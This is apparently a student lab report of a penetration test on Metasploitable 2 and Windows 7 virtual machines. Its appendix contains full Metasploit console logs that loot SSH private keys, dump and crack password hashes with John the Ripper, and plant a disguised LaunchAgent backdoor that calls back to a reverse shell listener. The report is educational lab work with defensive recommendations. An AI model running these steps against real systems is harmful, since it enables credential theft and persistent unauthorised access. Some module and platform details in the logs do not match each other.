PENETRATION TEST

Post-Exploitation

PREPARED BY
Gopi Gor

CONTENTS

1. Executive Summary
2. Scope and Objectives
3. Methodology
    - Metasploitable 2
    - Windows 7
    - Persistence
4. Findings
    - Metasploitable 2
    - Windows 7
    - Hashes
    - Persistence
5. Recommendations
6. Appendix
7. References

EXECUTIVE SUMMARY

Once we have esThe post-exploitation module examines the methods that are used to further steal sensitive information or make administrative privileges to change the settings of the computer or network. This report aims to perform 2 post-exploits for the metasploitable machine and 2 post-exploits for the windows 7 machines. Furthermore, we also created a method of persistence to get back into the system without having to log in or create a session again. Different tools and post-modules have been used for each machine which have been explained in detail in the methodology section of this report. Different kinds of things can be done once the session is created by using access privileges, or data, or consuming resources. Additionally, the hashes of a password files with linux hashes and windows hashes are found via an additional post module, which are then cracked using password-cracking tools.

From the business perspective of things, these post-exploitation attempts are more harmful than the exploitation attempts. As a C-level executive, it is important to understand the risks that come with the exploitation of the modules and the losses that the company may suffer from. This could involve data theft, financial losses, legal/regulatory fines, impersonation of employees and complete loss of trust. It is important to note that conducting vulnerabilities assessments and testing each part of a system is very crucial to ensure a secure environment, where major attacks are prevented before they reach the incident response stage.

Overall, we will focus to ensure that the right steps are provided to conduct these tests in the most ethical ways possible for only learning purposes. If these steps are followed properly, the potential risks can be avoided.

SCOPE AND OBJECTIVES

The main scope of this report and assignment is to ensure that once the sessions have been established, we use these sessions to then launch attacks on the servers/machines to gather information like passwords, or personal sensitive data. Furthermore, we also want to focus on ensuring that once we have established a session, we always have a specific way to enter into the system. Additionally, we also gather password hashes and try to crack them to show how easily it is possible.

The objectives for this report are as listed below:

- Perform 2 post-exploits on Metasploitable 2
- Perform 2 post-exploits on Windows 7
- Gather hash values on Metasploitable 2 and crack them to reveal passwords.
- Gather hash values on Windows 7 and crack them to reveal passwords.
- Create a method of persistence on one of the machines
- Present the methodology for the above actions
- Present the findings that were discovered in each case.
- Provide recommendations to avoid this in a business.

METHODOLOGY

1.Metasploitable 2

- **Post-Exploit 1: Resource Gathering**

For the post-exploit, we first got into the previous exploit session that we had created for multi/samba/usermap_script and then ran the background function to run the session in the background. we then looked for different post functions, and used the **post/multi/gather/ping_sweep.** Here we had to set the rhosts and session, and we set these two according to the requirement. After this we run exploit to get into the metasploitable machine using the existing session and post-module 1 gave us results specific to this module.

- **Post-Exploit 2: Data Gathering**

For the post-exploit, we first got into the previous exploit session that we had created for multi/samba/usermap_script and then ran the background function to run the session in the background. we then looked for different post functions, and used the **post/multi/gather/ssh_creds.** Here we had to set the rhosts and session, and we set these two according to the requirement. After this we run exploit to get into the metasploitable machine using the existing session and post-module 1 gave us results specific to this module.

- **Hashes: Linux Hashes and cracking**

For this part of the metasploitable server, we use the **post/linux/gather/hashdump** module to gather the hash files of the admin accounts on the metasploitable machine. We run the commands required to set the configuration files, and then start the exploit. This collects and outputs all the hashes of the admin, user, root accounts. Following this, we save the output in a text file and run **John the ripper** on that file**.** The output lists out all the usernames and passwords after a while.

METHODOLOGY

2.Windows 7

- **Post-Exploit 1: Full Network Access**

For the post-exploit 1, we first got into the previous exploit session that we had created for exploit/windows/smb/ms17_010_psexec and that opened the meterpreter where we typed the commands to gather network information. We used **ipconfig** to gather all information about interfaces and devices connected to each interface.

- **Post-Exploit 2: Data Gathering**

For the post-exploit 2, we first got into the previous exploit session that we had created for exploit/windows/smb/ms17_010_psexec and that opened the meterpreter where we typed the commands to gather network information. We used **ls** and **download <filename.extension>** to gather all the files in the current directory, and then also downloaded a file to see the contents of the file to gather all data on kind of files and read inside files. Additionally, we also used the module **post/windows/gather/enum_logged_on_users** to gather data about the users currently logged onto that system.

- **Hashes: Windows Hashes and cracking**

Here, we run the **hashdump** to get the password files which contains all the hashed passwords. After this, we saved it into a text file and then we could run john the ripper on it to crack the hashes. We used the command **john --format=NT winhashes.txt** to crack the passwords.

METHODOLOGY

3.Persistence

- For the persistence method, we logged back into the session for the smb samba script.
- Following this, we opened a background session, and then searched for persistence modules.
- We used the module **exploit/osx/local/persistence** to obtain a backdoor into the current session.
- We then set the RHOST as the metasploitable IP address, and the session as the current session ID of the samba module which was allowing us to run it in the background.
- There were many other modules that could be run in the same method.
- This module, creates a persistent boot payload in the **~/Library/LaunchAgents directory**.
- In cases where the user logs in, the payload is run by triggering the launch agent, and the user gets a backdoor into the machine.

FINDINGS

1.Metasploitable 2

- The ping sweep module does a complete ping sweep on the current session that gets established. From our results, we could find that it scanned the whole target of 10.0.2.5 and returned the host. Ping scans don't raise much questions when done as a ICMP or echo packet, and firewalls don't detect it much. It is a good approach to try this when trying to enumerate a network.
- In terms of the ssh_creds module, we collected all the creds that lie in the .ssh directory of the target machine. In addition to this, known hosts and authorized keys were also downloaded, which can be used to run admin controls.

2.Windows 7

- The ipconfig command to gather all network access controls was used. We found different interfaces and information of devices on those interfaces. Details like the name, MAC address, IPv4 & IPv6 address, netmasks, etc were found. This can be useful to find the size of the network and subnet, and potential vulnerabilities in these adapters can be found to exploit an endpoint further.
- The ls command gave us a list of almost 500-800 different files that were in the directory, alongwith their permissions, size, type, and name. This could be used to pass payloads into the files, and infecting the files which can be triggered upon opening the files. The permissions can be changed here too for each file once they have the information. Additionally, downloading the file allows the attacker to read inside the files and gather sensitive information.

3.Hashes: We found the password after cracking the hash files, and this can be exploited to be logged into the system as a legitimate user.

4.Persistence: The persistence method allowed for a backdoor into the system to be able to login any time which can go undetected for long periods of time.

RECOMMENDATIONS

After all the testing performed into the two machines of metasploitable and windows, we noticed that there are multiple post modules, and multiple other ways to communicate using the meterpreter to get network information, data access and even remotely communicate with the machine as an admin or root user. The attackers use these exploits and methods and make further configuration changes and overwrite changes. To avoid these things from happening, here are some recommendations that can be used.

- The high level executives can increase and structure the security posture more better to avoid this.
- Implementing Access Control Lists can decide which users have permission to access folders, and this saves the exploitation from different users incase an attacker manages to get access to the credentials.
- Regular security assessments can be conducted to check if there are any exploitable modules present.
- For the password cracking modules, a stronger password policy and MFA can be setup, to avoid the cracking of passwords so easily. \
- Regular audits can be conducted to make sure that all policies are being implemented correctly and in line with the security posture.
- Finally, there should be security awareness trainings atleast 1 time a month.

APPENDIX

1.Metasploitable

```
background

Background session 1? [y/N]  y
msf6 exploit(multi/samba/usermap_script) > use post/multi/gather/find_files
[-] No results from search
[-] Failed to load module: post/multi/gather/find_files
msf6 exploit(multi/samba/usermap_script) > use post/multi/gather/ping_sweep
msf6 post(multi/gather/ping_sweep) > show options

Module options (post/multi/gather/ping_sweep):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       IP Range to perform ping sweep against.
   SESSION                   yes       The session to run this module on


View the full module info with the info, or info -d command.

msf6 post(multi/gather/ping_sweep) > set rhosts 10.0.2.5
rhosts => 10.0.2.5
msf6 post(multi/gather/ping_sweep) > set SESSION 1
SESSION => 1
msf6 post(multi/gather/ping_sweep) > exploit

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: unix
[*] Performing ping sweep for IP range 10.0.2.5
[+]     10.0.2.5 host found
[*] Post module execution completed
```

```
msf6 > use post/multi/gather/ssh_creds
msf6 post(multi/gather/ssh_creds) > set rhosts 10.0.2.5
rhosts => 10.0.2.5
msf6 post(multi/gather/ssh_creds) > set SESSION 1
SESSION => 1
msf6 post(multi/gather/ssh_creds) > run

[*] Finding .ssh directories
[+] Looting 3 .ssh directories
[+] Looting /home/msfadmin/.ssh directory
[+] Downloaded /home/msfadmin/.ssh/authorized_keys → /home/user1/.msf4/loot/20240309114201_default_10.0.2.5_ssh.authorized_k_933376.txt
[+] Downloaded /home/msfadmin/.ssh/id_rsa → /home/user1/.msf4/loot/20240309114202_default_10.0.2.5_ssh.id_rsa_915574.txt
[+] Downloaded /home/msfadmin/.ssh/id_rsa.pub → /home/user1/.msf4/loot/20240309114203_default_10.0.2.5_ssh.id_rsa.pub_369332.txt
[+] Looting /home/user/.ssh directory
[+] Downloaded /home/user/.ssh/id_dsa → /home/user1/.msf4/loot/20240309114204_default_10.0.2.5_ssh.id_dsa_193592.txt
[+] Downloaded /home/user/.ssh/id_dsa.pub → /home/user1/.msf4/loot/20240309114205_default_10.0.2.5_ssh.id_dsa.pub_819852.txt
[+] Looting /root/.ssh directory
[+] Downloaded /root/.ssh/authorized_keys → /home/user1/.msf4/loot/20240309114206_default_10.0.2.5_ssh.authorized_k_710842.txt
[+] Downloaded /root/.ssh/known_hosts → /home/user1/.msf4/loot/20240309114207_default_10.0.2.5_ssh.known_hosts_888252.txt
[*] Post module execution completed
msf6 post(multi/gather/ssh_creds) >
```

```
msf6 post(linux/gather/hashdump) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: unix
[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] Unshadowed Password File: /home/user1/.msf4/loot/20240309143135_default_10.0.2.5_linux.hashes_853449.txt
[*] Post module execution completed
msf6 post(linux/gather/hashdump) > mv /home/user1/.msf4/loot/20240309141737_default_10.0.2.5_linux.hashes_330103.txt /home/user1/linuxhashes.txt
[*] exec: mv /home/user1/.msf4/loot/20240309141737_default_10.0.2.5_linux.hashes_330103.txt /home/user1/linuxhashes.txt
```

```
┌──(user1㉿kali)-[~]
└─$ ls
\Desktop    Music                PortScan.py  Videos  linuxhashes.txt
Documents  PenTestingScripts  Public       ab.py   name.py
Downloads  Pictures           Templates    bandit  recon.sh

┌──(user1㉿kali)-[~]
└─$ john linuxhashes.txt
Created directory: /home/user1/.john
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 SSE2 4x3])
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
user             (user)
postgres         (postgres)
Warning: Only 4 candidates buffered for the current salt, minimum 12 needed for performance.
msfadmin         (msfadmin)
service          (service)
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
123456789        (klog)
batman           (sys)
Proceeding with incremental:ASCII
6g 0:00:04:37  3/3 0.02165g/s 15843p/s 15843c/s 15843C/s shmbub..shmbrb
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

┌──(user1㉿kali)-[~]
└─$ john --show linuxhashes.txt
sys:batman:3:3:sys:/dev:/bin/sh
klog:123456789:103:104::/home/klog:/bin/false
msfadmin:msfadmin:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
postgres:postgres:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
user:user:1001:1001:just a user,111,,:/home/user:/bin/bash
service:service:1002:1002:,,,:/home/service:/bin/bash

6 password hashes cracked, 1 left
```

APPENDIX

2.Windows 7

```
meterpreter > ipconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 11
============
Name         : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:76:f7:e8
MTU          : 1500
IPv4 Address : 10.0.2.4
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::dce4:73e3:9c0c:c82a
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 12
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:a00:204
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
```

```
040777/rwxrwxrwx  0       dir   2009-07-14 00:56:48 -0400  0409
100666/rw-rw-rw-  2151    fil   2009-06-10 17:16:56 -0400  12520437.cpx
100666/rw-rw-rw-  2233    fil   2009-06-10 17:16:56 -0400  12520850.cpx
100666/rw-rw-rw-  15184   fil   2024-03-11 15:16:24 -0400  78296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483
                                                           456-A289-439d-8115-601632D005A0
100666/rw-rw-rw-  15184   fil   2024-03-11 15:16:24 -0400  78296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483
                                                           456-A289-439d-8115-601632D005A0
100666/rw-rw-rw-  39424   fil   2009-07-13 21:03:47 -0400  ACCTRES.dll
100666/rw-rw-rw-  9829    fil   2009-07-13 17:40:41 -0400  ANSI.SYS
100777/rwxrwxrwx  28992   fil   2009-07-13 21:14:12 -0400  AMP.EXE
100666/rw-rw-rw-  442880  fil   2009-07-13 21:16:12 -0400  AUDIOKSE.dll
100666/rw-rw-rw-  744448  fil   2009-07-13 21:14:52 -0400  ActionCenter.dll
100666/rw-rw-rw-  537600  fil   2009-07-13 21:14:52 -0400  ActionCenterCPL.dll
100666/rw-rw-rw-  178688  fil   2009-07-13 21:14:52 -0400  ActionQueue.dll
100777/rwxrwxrwx  38912   fil   2009-07-13 21:14:11 -0400  AdapterTroubleshooter.exe
100666/rw-rw-rw-  438272  fil   2009-07-13 21:14:52 -0400  AdmTmpl.dll
040777/rwxrwxrwx  0       dir   2009-07-13 22:37:07 -0400  AdvancedInstallers
100666/rw-rw-rw-  46592   fil   2009-07-13 21:14:53 -0400  AltTab.dll
100666/rw-rw-rw-  203264  fil   2009-07-13 21:14:53 -0400  AppIdPolicyEngineApi.dll
100666/rw-rw-rw-  29696   fil   2009-07-13 21:14:53 -0400  Apphlpdm.dll
100777/rwxrwxrwx  29184   fil   2009-07-13 21:14:12 -0400  AtBroker.exe
100666/rw-rw-rw-  374784  fil   2009-07-13 21:14:57 -0400  AudioEng.dll
100666/rw-rw-rw-  195584  fil   2009-07-13 21:14:57 -0400  AudioSes.dll
100666/rw-rw-rw-  217088  fil   2009-07-13 21:14:57 -0400  AuditNativeSnapIn.dll
100666/rw-rw-rw-  55296   fil   2009-07-13 21:14:57 -0400  AuditPolicyGPInterop.dll
100666/rw-rw-rw-  297472  fil   2009-07-13 21:14:57 -0400  AuthFWGP.dll
100666/rw-rw-rw-  5070848 fil   2009-07-13 21:23:21 -0400  AuthFWSnapin.dll
100666/rw-rw-rw-  126976  fil   2009-07-13 21:20:07 -0400  AuthFWWizFwk.dll
100666/rw-rw-rw-  119808  fil   2009-07-13 21:14:57 -0400  AuxiliaryDisplayApi.dll
100666/rw-rw-rw-  131072  fil   2009-07-13 21:14:57 -0400  AuxiliaryDisplayClassInstaller.dll
100666/rw-rw-rw-  665600  fil   2009-07-13 21:14:57 -0400  AuxiliaryDisplayCpl.dll
100666/rw-rw-rw-  151552  fil   2009-07-13 21:14:57 -0400  AuxiliaryDisplayDriverLib.dll
100666/rw-rw-rw-  132128  fil   2009-07-13 21:14:57 -0400  AuxiliaryDisplayServices.dll
100666/rw-rw-rw-  88064   fil   2009-07-13 21:14:58 -0400  AxInstSv.dll
```

```
meterpreter > download zipfldr.dll
[*] Downloading: zipfldr.dll → /home/user1/zipfldr.dll
[*] Downloaded 320.00 KiB of 320.00 KiB (100.0%): zipfldr.dll → /home/user1/zipfldr.dll
[*] Completed  : zipfldr.dll → /home/user1/zipfldr.dll
meterpreter >
```

```
meterpreter > run post/windows/gather/enum_logged_on_users

[*] Running module against WIN7-PEN (10.0.2.4)

Current Logged Users
====================

 SID                                            User
 ---                                            ----
 S-1-5-21-2996768410-154431972-2330774411-1003  Win7-Pen\user

[+] Results saved in: /home/user1/.msf4/loot/20240311164912_default_10.0.2.4_host.users.activ_635932.txt

Recently Logged Users
=====================

 SID                                            Profile Path
 ---                                            ------------
 S-1-5-18                                       C:\Windows\system32\config\systemprofile
 S-1-5-19                                       C:\Windows\ServiceProfiles\LocalService
 S-1-5-20                                       C:\Windows\ServiceProfiles\NetworkService
 S-1-5-21-2996768410-154431972-2330774411-1002  C:\Users\admin
 S-1-5-21-2996768410-154431972-2330774411-1003  C:\Users\user
```

```
┌──(user1㉿kali)-[~]
└─$ nano winhashes.txt

┌──(user1㉿kali)-[~]
└─$ john --format=NT winhashes.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (NT [MD4 128/128 SSE2 4×3])
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
user             (user)
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
                 (Administrator)
                 (Guest)
Proceeding with incremental:ASCII
3g 0:00:02:28  3/3 0.02017g/s 9642Kp/s 9642Kc/s 19284KC/s alarbra20..alarbow87
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session aborted

┌──(user1㉿kali)-[~]
└─$ john --show winhashes.txt
0 password hashes cracked, 5 left
```

APPENDIX

3. Persistence

```
msf6 exploit(osx/local/persistence) > show options

Module options (exploit/osx/local/persistence):

   Name          Current Setting            Required  Description
   ----          ---------------            --------  -----------
   BACKDOOR_PATH ~/Library/.<random>/com.   yes       Path to hide the backdoor on the target.
                 system.update
   KEEPALIVE     true                       yes       Continually restart the payload exe if i
                                                      t crashes/exits.
   RUN_NOW       false                      no        Run the installed payload immediately.
   SESSION                                  yes       The session to run this module on


Payload options (osx/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.7         yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
```

```
Exploit target:

   Id  Name
   --  ----
   0   Mac OS X x64 (Native Payload)


View the full module info with the info, or info -d command.

msf6 exploit(osx/local/persistence) > set session 2
session => 2
msf6 exploit(osx/local/persistence) > exploit

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: unix
[-] Handler failed to bind to 10.0.2.7:4444:-  -
[-] Handler failed to bind to 0.0.0.0:4444:-  -
[*] Dropping backdoor executable ...
[+] Backdoor stored to /Users/root/Library/.uOvaKtNT/com.system.update
[+] LaunchAgent added: /Users/root/Library/LaunchAgents/com.system.update.plist
[+] LaunchAgent installed successfully.
[*] To remove the persistence, run:
rm -rf /Users/root/Library/.uOvaKtNT ; rm /Users/root/Library/LaunchAgents/com.system.update.pli
st ; launchctl remove com.system.update ; launchctl stop com.system.update
```

REFERENCES

1. https://www.manitonetworks.com/security/2016/9/28/ping-sweeps-with-metasploit
2. https://www.offsec.com/metasploit-unleashed/multiple-os-post-gather-modules/
3. https://www.offsec.com/metasploit-unleashed/meterpreter-basics/
4. https://pentesthacker.wordpress.com/2020/12/27/kali-hashcat-and-john-the-ripper-crack-windows-password-hashdump/
5. https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/osx/local/persistence